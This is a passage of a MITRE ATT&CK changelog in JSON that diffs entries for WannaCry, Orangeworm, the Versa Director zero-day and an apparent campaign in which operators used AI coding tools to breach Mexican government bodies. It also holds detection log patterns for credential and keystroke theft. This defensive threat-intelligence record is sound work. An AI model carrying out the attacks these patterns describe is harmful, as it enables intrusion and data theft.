                            "description": "Noerenberg, E., Costis, A., and Quist, N. (2017, May 16). A Technical Analysis of WannaCry Ransomware. Retrieved December 8, 2024.",
                            "url": "https://web.archive.org/web/20230522041200/https://logrhythm.com/blog/a-technical-analysis-of-wannacry-ransomware/"
                        },
                        {
                            "source_name": "US-CERT WannaCry 2017",
                            "description": "US-CERT. (2017, May 12). Alert (TA17-132A): Indicators Associated With WannaCry Ransomware. Retrieved March 25, 2019.",
                            "url": "https://www.us-cert.gov/ncas/alerts/TA17-132A"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_aliases": [
                        "WannaCry",
                        "WanaCry",
                        "WanaCrypt",
                        "WanaCrypt0r",
                        "WCry"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Jan Miller, CrowdStrike"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack",
                        "ics-attack"
                    ],
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Windows"
                    ],
                    "x_mitre_version": "1.1",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-10-07 19:20:10.980000+00:00\", \"old_value\": \"2024-12-09 02:29:13.859000+00:00\"}, \"root['external_references'][7]['url']\": {\"new_value\": \"https://www.washingtonpost.com/business/economy/more-than-150-countries-affected-by-massive-cyberattack-europol-says/2017/05/14/5091465e-3899-11e7-9e48-c4f199710b69_story.html\", \"old_value\": \"https://www.washingtonpost.com/business/economy/more-than-150-countries-affected-by-massive-cyberattack-europol-says/2017/05/14/5091465e-3899-11e7-9e48-c4f199710b69_story.html?utm_term=.7fa16b41cad4\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}}}",
                    "previous_version": "1.1"
                }
            ],
            "revocations": [],
            "deprecations": [],
            "deletions": []
        },
        "groups": {
            "additions": [],
            "major_version_changes": [],
            "minor_version_changes": [],
            "other_version_changes": [],
            "patches": [
                {
                    "type": "intrusion-set",
                    "id": "intrusion-set--5636b7b3-d99b-4edd-aa05-ee649c1d4ef1",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2018-10-17 00:14:20.652000+00:00",
                    "modified": "2026-11-02 16:24:07.517000+00:00",
                    "name": "Orangeworm",
                    "description": "[Orangeworm](https://attack.mitre.org/groups/G0071) is a group that has targeted organizations in the healthcare sector in the United States, Europe, and Asia since at least 2015, likely for the purpose of corporate espionage.(Citation: Symantec Orangeworm April 2018) Reverse engineering of [Kwampirs](https://attack.mitre.org/software/S0236), directly associated with [Orangeworm](https://attack.mitre.org/groups/G0071) activity, indicates significant functional and development overlaps with [Shamoon](https://attack.mitre.org/software/S0140).(Citation: Cylera Kwampirs 2022)",
                    "aliases": [
                        "Orangeworm"
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/groups/G0071",
                            "external_id": "G0071"
                        },
                        {
                            "source_name": "Orangeworm",
                            "description": "(Citation: Symantec Orangeworm April 2018)"
                        },
                        {
                            "source_name": "Cylera Kwampirs 2022",
                            "description": "Pablo Rinc\u00f3n Crespo. (2022, January). The link between Kwampirs (Orangeworm) and Shamoon APTs. Retrieved February 8, 2024.",
                            "url": "https://resources.cylera.com/hubfs/Cylera%20Labs/Cylera%20Labs%20Kwampirs%20Shamoon%20Technical%20Report.pdf"
                        },
                        {
                            "source_name": "Symantec Orangeworm April 2018",
                            "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.",
                            "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Elger Rodrigues, @elgerx"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_version": "2.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-02 16:24:07.517000+00:00\", \"old_value\": \"2026-07-31 18:47:56.740000+00:00\"}, \"root['x_mitre_contributors'][0]\": {\"new_value\": \"Elger Rodrigues, @elgerx\", \"old_value\": \"Elger Vinicius S. Rodrigues, @elgervinicius, CYBINT Centre\"}}}",
                    "previous_version": "2.0"
                }
            ],
            "revocations": [],
            "deprecations": [],
            "deletions": []
        },
        "campaigns": {
            "additions": [],
            "major_version_changes": [],
            "minor_version_changes": [],
            "other_version_changes": [],
            "patches": [
                {
                    "type": "campaign",
                    "id": "campaign--199f5568-ca25-4892-b7a5-870503e4d0f4",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2026-09-02 19:34:22.932000+00:00",
                    "modified": "2026-10-20 14:52:14.093000+00:00",
                    "name": "AI-Assisted Breach of Mexico's Government Infrastructure",
                    "description": "The [AI-Assisted Breach of Mexico's Government Infrastructure](https://attack.mitre.org/campaigns/C0064) is a campaign where human operators used Claude Code AI and OpenAI GPT GPT-4.1 AI to perform reconnaissance, vulnerability exploitation, privilege escalation, discovery, credential harvesting, and exfiltration operations. The attack impacted several Mexican government institutions including the Federal Tax Authority (Servicio de Administracion Tributaria), Mexico State Government (Estado de Mexico), Mexico City Civil Registry (Registro Civil de CDMX), Jalisco State Government, National Electoral Institute (Instituto Nacional Electoral), Michoacan State Government, SADM Monterrey Municipal Water Utility (Agua y Drenaje), Tamaulipas State Government, and the Mexico City Health Department (Salud CDMX). The attack resulted in the theft of large amounts of sensitive government data and civilian records. (Citation: AI-Mexico-Govt-Compromise) ",
                    "aliases": [
                        "AI-Assisted Breach of Mexico's Government Infrastructure"
                    ],
                    "first_seen": "2025-12-01 05:00:00+00:00",
                    "last_seen": "2026-02-01 05:00:00+00:00",
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/campaigns/C0064",
                            "external_id": "C0064"
                        },
                        {
                            "source_name": "AI-Mexico-Govt-Compromise",
                            "description": "Jay Deen. (2026, May). AI-Assisted Compromise of Mexican Water Utility with OT Implications. Retrieved September 2, 2026.",
                            "url": "https://5943619.hs-sites.com/hubfs/116-Whitepapers/dragos-2026-ai-mexico-water-attack-intel-brief.pdf"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack",
                        "ics-attack"
                    ],
                    "x_mitre_first_seen_citation": "(Citation: AI-Mexico-Govt-Compromise)",
                    "x_mitre_last_seen_citation": "(Citation: AI-Mexico-Govt-Compromise)",
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_version": "1.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-10-20 14:52:14.093000+00:00\", \"old_value\": \"2026-10-09 00:56:40.965000+00:00\"}, \"root['description']\": {\"new_value\": \"The [AI-Assisted Breach of Mexico's Government Infrastructure](https://attack.mitre.org/campaigns/C0064) is a campaign where human operators used Claude Code AI and OpenAI GPT GPT-4.1 AI to perform reconnaissance, vulnerability exploitation, privilege escalation, discovery, credential harvesting, and exfiltration operations. The attack impacted several Mexican government institutions including the Federal Tax Authority (Servicio de Administracion Tributaria), Mexico State Government (Estado de Mexico), Mexico City Civil Registry (Registro Civil de CDMX), Jalisco State Government, National Electoral Institute (Instituto Nacional Electoral), Michoacan State Government, SADM Monterrey Municipal Water Utility (Agua y Drenaje), Tamaulipas State Government, and the Mexico City Health Department (Salud CDMX). The attack resulted in the theft of large amounts of sensitive government data and civilian records. (Citation: AI-Mexico-Govt-Compromise) \", \"old_value\": \"The [AI-Assisted Breach of Mexico's Government Infrastructure](https://attack.mitre.org/campaigns/C0064) is a campaign where human operators used Claude Code AI and OpenAI GPT GPT-4.1 AI to perform reconnaissance, vulnerability exploitation, privilege escalation, discovery, credential harvesting, and exfiltration operations. The attack impacted several Mexican government institutions including the Federal Tax Authority (Servicio de Administracion Tributaria), Mexico State Government (Estado de Mexico), Mexico City Civil Registry (Registro Civil de CDMX), Jalisco State Government, National Electoral Institute (Instituto Nacional Electoral), Michoacan State Government, SADM Monterrey Municipal Water Utility (Agua y Drenaje), Tamaulipas State Government, and the Mexico City Health Department (Salud CDMX). The attack resulted in the theft of large amounts of sensitive government data and civilian records. Please note that due to the breadth of this campaign, public reporting only provides select details and as a result this campaign should not be considered comprehensive.(Citation: AI-Mexico-Govt-Compromise) \"}}}",
                    "previous_version": "1.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to164__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to164__0\"><a href=\"#difflib_chg_to164__top\">t</a></td><td class=\"diff_header\" id=\"from164_1\">1</td><td nowrap=\"nowrap\">The&nbsp;[AI-Assisted&nbsp;Breach&nbsp;of&nbsp;Mexico's&nbsp;Government&nbsp;Infrastructur</td><td class=\"diff_next\"><a href=\"#difflib_chg_to164__top\">t</a></td><td class=\"diff_header\" id=\"to164_1\">1</td><td nowrap=\"nowrap\">The&nbsp;[AI-Assisted&nbsp;Breach&nbsp;of&nbsp;Mexico's&nbsp;Government&nbsp;Infrastructur</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e](https://attack.mitre.org/campaigns/C0064)&nbsp;is&nbsp;a&nbsp;campaign&nbsp;w</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e](https://attack.mitre.org/campaigns/C0064)&nbsp;is&nbsp;a&nbsp;campaign&nbsp;w</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">here&nbsp;human&nbsp;operators&nbsp;used&nbsp;Claude&nbsp;Code&nbsp;AI&nbsp;and&nbsp;OpenAI&nbsp;GPT&nbsp;GPT-</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">here&nbsp;human&nbsp;operators&nbsp;used&nbsp;Claude&nbsp;Code&nbsp;AI&nbsp;and&nbsp;OpenAI&nbsp;GPT&nbsp;GPT-</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">4.1&nbsp;AI&nbsp;to&nbsp;perform&nbsp;reconnaissance,&nbsp;vulnerability&nbsp;exploitation</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">4.1&nbsp;AI&nbsp;to&nbsp;perform&nbsp;reconnaissance,&nbsp;vulnerability&nbsp;exploitation</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">,&nbsp;privilege&nbsp;escalation,&nbsp;discovery,&nbsp;credential&nbsp;harvesting,&nbsp;an</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">,&nbsp;privilege&nbsp;escalation,&nbsp;discovery,&nbsp;credential&nbsp;harvesting,&nbsp;an</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;exfiltration&nbsp;operations.&nbsp;The&nbsp;attack&nbsp;impacted&nbsp;several&nbsp;Mexic</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;exfiltration&nbsp;operations.&nbsp;The&nbsp;attack&nbsp;impacted&nbsp;several&nbsp;Mexic</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">an&nbsp;government&nbsp;institutions&nbsp;including&nbsp;the&nbsp;Federal&nbsp;Tax&nbsp;Authori</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">an&nbsp;government&nbsp;institutions&nbsp;including&nbsp;the&nbsp;Federal&nbsp;Tax&nbsp;Authori</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ty&nbsp;(Servicio&nbsp;de&nbsp;Administracion&nbsp;Tributaria),&nbsp;Mexico&nbsp;State&nbsp;Gov</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ty&nbsp;(Servicio&nbsp;de&nbsp;Administracion&nbsp;Tributaria),&nbsp;Mexico&nbsp;State&nbsp;Gov</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ernment&nbsp;(Estado&nbsp;de&nbsp;Mexico),&nbsp;Mexico&nbsp;City&nbsp;Civil&nbsp;Registry&nbsp;(Regi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ernment&nbsp;(Estado&nbsp;de&nbsp;Mexico),&nbsp;Mexico&nbsp;City&nbsp;Civil&nbsp;Registry&nbsp;(Regi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">stro&nbsp;Civil&nbsp;de&nbsp;CDMX),&nbsp;Jalisco&nbsp;State&nbsp;Government,&nbsp;National&nbsp;Elec</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">stro&nbsp;Civil&nbsp;de&nbsp;CDMX),&nbsp;Jalisco&nbsp;State&nbsp;Government,&nbsp;National&nbsp;Elec</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">toral&nbsp;Institute&nbsp;(Instituto&nbsp;Nacional&nbsp;Electoral),&nbsp;Michoacan&nbsp;St</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">toral&nbsp;Institute&nbsp;(Instituto&nbsp;Nacional&nbsp;Electoral),&nbsp;Michoacan&nbsp;St</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ate&nbsp;Government,&nbsp;SADM&nbsp;Monterrey&nbsp;Municipal&nbsp;Water&nbsp;Utility&nbsp;(Agua</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ate&nbsp;Government,&nbsp;SADM&nbsp;Monterrey&nbsp;Municipal&nbsp;Water&nbsp;Utility&nbsp;(Agua</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;y&nbsp;Drenaje),&nbsp;Tamaulipas&nbsp;State&nbsp;Government,&nbsp;and&nbsp;the&nbsp;Mexico&nbsp;Cit</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;y&nbsp;Drenaje),&nbsp;Tamaulipas&nbsp;State&nbsp;Government,&nbsp;and&nbsp;the&nbsp;Mexico&nbsp;Cit</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y&nbsp;Health&nbsp;Department&nbsp;(Salud&nbsp;CDMX).&nbsp;The&nbsp;attack&nbsp;resulted&nbsp;in&nbsp;the</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y&nbsp;Health&nbsp;Department&nbsp;(Salud&nbsp;CDMX).&nbsp;The&nbsp;attack&nbsp;resulted&nbsp;in&nbsp;the</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;theft&nbsp;of&nbsp;large&nbsp;amounts&nbsp;of&nbsp;sensitive&nbsp;government&nbsp;data&nbsp;and&nbsp;civ</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;theft&nbsp;of&nbsp;large&nbsp;amounts&nbsp;of&nbsp;sensitive&nbsp;government&nbsp;data&nbsp;and&nbsp;civ</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ilian&nbsp;records.&nbsp;<span class=\"diff_sub\">Please&nbsp;note&nbsp;that&nbsp;due&nbsp;to&nbsp;the&nbsp;breadth&nbsp;of&nbsp;this&nbsp;c</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ilian&nbsp;records.&nbsp;(Citation:&nbsp;AI-Mexico-Govt-Compromise)&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_sub\">ampaign,&nbsp;public&nbsp;reporting&nbsp;only&nbsp;provides&nbsp;select&nbsp;details&nbsp;and&nbsp;a</span></td><td class=\"diff_next\"></td><td class=\"diff_header\"></td><td nowrap=\"nowrap\">&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_sub\">s&nbsp;a&nbsp;result&nbsp;this&nbsp;campaign&nbsp;should&nbsp;not&nbsp;be&nbsp;considered&nbsp;comprehens</span></td><td class=\"diff_next\"></td><td class=\"diff_header\"></td><td nowrap=\"nowrap\">&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_sub\">ive.</span>(Citation:&nbsp;AI-Mexico-Govt-Compromise)&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\"></td><td nowrap=\"nowrap\">&nbsp;</td></tr>\n        </tbody>\n    </table>"
                },
                {
                    "type": "campaign",
                    "id": "campaign--af0ec65a-caa9-40ef-b1c7-21b71fbf3a10",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2024-08-27 18:34:35.056000+00:00",
                    "modified": "2026-11-02 21:09:13.901000+00:00",
                    "name": "Versa Director Zero Day Exploitation",
                    "description": "[Versa Director Zero Day Exploitation](https://attack.mitre.org/campaigns/C0039) was conducted by [Volt Typhoon](https://attack.mitre.org/groups/G1017) from early June through August 2024 as zero-day exploitation of Versa Director servers controlling software-defined wide area network (SD-WAN) applications. Since tracked as CVE-2024-39717, exploitation focused on credential capture from compromised Versa Director servers at managed service providers (MSPs) and internet service providers (ISPs) to enable follow-on access to service provider clients. [Versa Director Zero Day Exploitation](https://attack.mitre.org/campaigns/C0039) was followed by the delivery of the [VersaMem](https://attack.mitre.org/software/S1154) web shell for both credential theft and follow-on code execution.(Citation: Lumen Versa 2024)",
                    "aliases": [
                        "Versa Director Zero Day Exploitation"
                    ],
                    "first_seen": "2024-06-01 06:00:00+00:00",
                    "last_seen": "2024-08-01 06:00:00+00:00",
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/campaigns/C0039",
                            "external_id": "C0039"
                        },
                        {
                            "source_name": "Lumen Versa 2024",
                            "description": "Black Lotus Labs. (2024, August 27). Taking The Crossroads: The Versa Director Zero-Day Exploitaiton. Retrieved August 27, 2024.",
                            "url": "https://www.lumen.com/blog/en-us/uncovering-versa-director-zero-day-exploitation"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_first_seen_citation": "(Citation: Lumen Versa 2024)",
                    "x_mitre_last_seen_citation": "(Citation: Lumen Versa 2024)",
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_version": "1.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-02 21:09:13.901000+00:00\", \"old_value\": \"2026-07-31 18:47:29.960000+00:00\"}, \"root['external_references'][1]['url']\": {\"new_value\": \"https://www.lumen.com/blog/en-us/uncovering-versa-director-zero-day-exploitation\", \"old_value\": \"https://blog.lumen.com/taking-the-crossroads-the-versa-director-zero-day-exploitation/\"}}}",
                    "previous_version": "1.0"
                }
            ],
            "revocations": [],
            "deprecations": [],
            "deletions": []
        },
        "assets": {
            "additions": [],
            "major_version_changes": [],
            "minor_version_changes": [],
            "other_version_changes": [],
            "patches": [],
            "revocations": [],
            "deprecations": [],
            "deletions": []
        },
        "mitigations": {
            "additions": [],
            "major_version_changes": [],
            "minor_version_changes": [],
            "other_version_changes": [],
            "patches": [],
            "revocations": [],
            "deprecations": [],
            "deletions": []
        },
        "datasources": {
            "additions": [],
            "major_version_changes": [],
            "minor_version_changes": [],
            "other_version_changes": [],
            "patches": [],
            "revocations": [],
            "deprecations": [],
            "deletions": []
        },
        "datacomponents": {
            "additions": [],
            "major_version_changes": [],
            "minor_version_changes": [],
            "other_version_changes": [],
            "patches": [
                {
                    "type": "x-mitre-data-component",
                    "id": "x-mitre-data-component--3551476e-14f5-4e48-a518-e82135329e03",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2021-10-20 15:05:19.274000+00:00",
                    "modified": "2026-10-13 19:46:23.403000+00:00",
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/datacomponents/DC0079",
                            "external_id": "DC0079"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "name": "Driver Load",
                    "description": "The process of attaching a driver, which is a software component that allows the operating system and applications to interact with hardware devices, to either user-mode or kernel-mode of a system. This can include benign actions (e.g., hardware drivers) or malicious behavior (e.g., rootkits or unsigned drivers). Examples: \n\n- Legitimate Driver Loading: A new graphics driver from a vendor like NVIDIA or AMD is loaded into the system.\n- Unsigned Driver Loading: A driver without a valid digital signature is loaded into the kernel.\n- Rootkit Installation: A malicious rootkit driver is loaded to manipulate kernel-mode processes.\n- Anti-Virus or EDR Driver Loading: An Endpoint Detection and Response (EDR) solution loads its driver to monitor system activities.\n- Driver Misuse: A legitimate driver is loaded and exploited to execute malicious actions, such as using vulnerable drivers for bypassing defenses (e.g., Bring Your Own Vulnerable Driver (BYOVD) attacks).",
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_log_sources": [
                        {
                            "name": "linux:syslog",
                            "channel": "dmesg or syslog for module loads"
                        },
                        {
                            "name": "linux:syslog",
                            "channel": "Driver load events or firmware load failures for hardware devices"
                        },
                        {
                            "name": "WinEventLog:Sysmon",
                            "channel": "EventCode=6"
                        },
                        {
                            "name": "WinEventLog:Sysmon",
                            "channel": "EventCode=6 kernel driver load from path not in trusted driver paths, not signed by trusted signer list"
                        },
                        {
                            "name": "WinEventLog:Sysmon",
                            "channel": "EventCode=6 of a known vulnerable third-party driver immediately preceding privilege escalation indicators"
                        },
                        {
                            "name": "WinEventLog:Sysmon",
                            "channel": "EventCode=6 for wireless capture driver on host not in designated wireless management station list"
                        },
                        {
                            "name": "WinEventLog:Sysmon",
                            "channel": "EventCode= 6 Npcap/WinPcap driver loaded by image not in authorized capture software"
                        }
                    ],
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_version": "2.0",
                    "x_mitre_domains": [
                        "enterprise-attack",
                        "ics-attack"
                    ],
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-10-13 19:46:23.403000+00:00\", \"old_value\": \"2026-10-13 17:43:49.098000+00:00\"}}, \"iterable_item_added\": {\"root['x_mitre_domains'][1]\": \"ics-attack\"}}",
                    "previous_version": "2.0"
                },
                {
                    "type": "x-mitre-data-component",
                    "id": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2021-10-20 15:05:19.273000+00:00",
                    "modified": "2026-11-03 00:06:23.011000+00:00",
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/datacomponents/DC0039",
                            "external_id": "DC0039"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "name": "File Creation",
                    "description": "A new file is created on a system or network storage. This action often signifies an operation such as saving a document, writing data, or deploying a file. Logging these events helps identify legitimate or potentially malicious file creation activities. Examples include logging file creation events (e.g., Sysmon Event ID 11 or Linux auditd logs). ",
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_log_sources": [
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "Monitored creation of an APK or application-package staging artifact following external retrieval"
                        },
                        {
                            "name": "android:logcat",
                            "channel": "App UID writes new file with suspicious extension/location (.tmp, .dat, .enc, /data/data/<pkg>/files/, /sdcard/Download/) and high estimated entropy"
                        },
                        {
                            "name": "android:logcat",
                            "channel": "App UID writes edited media to container paths (e.g., /data/data/<pkg>/files/, .../cache/, /storage/emulated/0/Pictures/<pkg>/) with high delta in size vs. original and elevated estimated segment entropy  "
                        },
                        {
                            "name": "android:logcat",
                            "channel": "Create/write of high-entropy files in /data/data/<pkg>/(files|cache)/ or /storage/emulated/0/<...> with .dex/.so/.jar/.tmp/.bin"
                        },
                        {
                            "name": "android:logcat",
                            "channel": "Create/write under /data/data/<pkg>/(files|cache)/ or /storage/emulated/0/ with extension .dex/.jar/.so/.zip/.tmp/.js and elevated entropy"
                        },
                        {
                            "name": "android:logcat",
                            "channel": "CREATE/WRITE of archive or container (.zip/.gz/.7z/.db copy) that aggregates files pulled from other-package paths"
                        },
                        {
                            "name": "android:logcat",
                            "channel": "CREATE/WRITE to app-writable DB/file path indicating clipboard dump (e.g., clipboard.db, clip_*.txt)"
                        },
                        {
                            "name": "android:logcat",
                            "channel": "CREATE/WRITE paths like /data/data/<pkg>/files/(keys|inputs)/.*\\\\.db|\\\\.txt|\\\\.log"
                        },
                        {
                            "name": "android:logcat",
                            "channel": "CREATE/WRITE to /data/data/<pkg>/(files|databases)/(keys|inputs|clipboard).*\\\\.(db|sqlite|txt|log)"
                        },
                        {
                            "name": "android:logcat",
                            "channel": "CREATE/WRITE to /data/data/<pkg>/(files|databases)/(creds|form|prompt).*\\\\.(db|sqlite|json|txt)"
                        },
                        {
                            "name": "android:logcat",
                            "channel": "CREATE/WRITE /data/data/<pkg>/(files|databases)/(app_inventory|pkg_list).*\\\\.(json|txt|db)"
                        },
                        {
                            "name": "android:logcat",
                            "channel": "CREATE/WRITE /data/data/<pkg>/(files|databases)/(security_inventory|policy_audit).*\\\\.(json|txt|db|plist)"
                        },
                        {
                            "name": "auditd:FILE",
                            "channel": "File creation with name starting with '.'"
                        },
                        {
                            "name": "auditd:FILE",
                            "channel": "create: New file created in system binaries or temp directories"
                        },
                        {
                            "name": "auditd:FILE",
                            "channel": "create: Creation of .zip, .gz, .bz2 files in /tmp, /var/tmp, or /home directories"
                        },
                        {
                            "name": "auditd:FILE",
                            "channel": "create: Creation of archive files in /tmp, /var/tmp, or user home directories"
                        },
                        {
                            "name": "auditd:FILE",
                            "channel": "create: Creation of files with anomalous headers and entropy levels in /tmp or user directories"
                        },
                        {
                            "name": "auditd:FILE",
                            "channel": "Creation of hidden files (.*) in sensitive directories (/etc, /var, /usr/bin)"
                        },
                        {
                            "name": "auditd:FILE",
                            "channel": "create: Creation of files ending in .tar, .gz, .bz2, .zip in /tmp or /var/tmp"
                        },
                        {
                            "name": "auditd:PATH",
                            "channel": "Creation of files with extensions .sql, .csv, .sqlite, especially in user directories"
                        },
                        {
                            "name": "auditd:PATH",
                            "channel": "New .py/.js/.sh files written to ~/.local/, ~/.cache/, or /tmp/ within 5 min of package install"
                        },
                        {
                            "name": "auditd:PATH",
                            "channel": "mount target path within /proc/*"
                        },
                        {
                            "name": "auditd:PATH",
                            "channel": "creation of .so files in non-standard directories (e.g., /tmp, /home/*)"
                        },
                        {
                            "name": "auditd:PATH",
                            "channel": "WRITE: Drop of binaries/scripts in ~/.local, /tmp, or /opt tool dirs"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "creat"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "open or creat syscalls targeting excluded paths"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "file creation/modification"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "open,creat,rename: Writes in $HOME/Downloads, /tmp, ~/.cache with exe/script/archive/office extensions"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "write/open, FIM audit"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "open: Write to ~/.vscode-cli/code_tunnel.json"
                        },
                        {
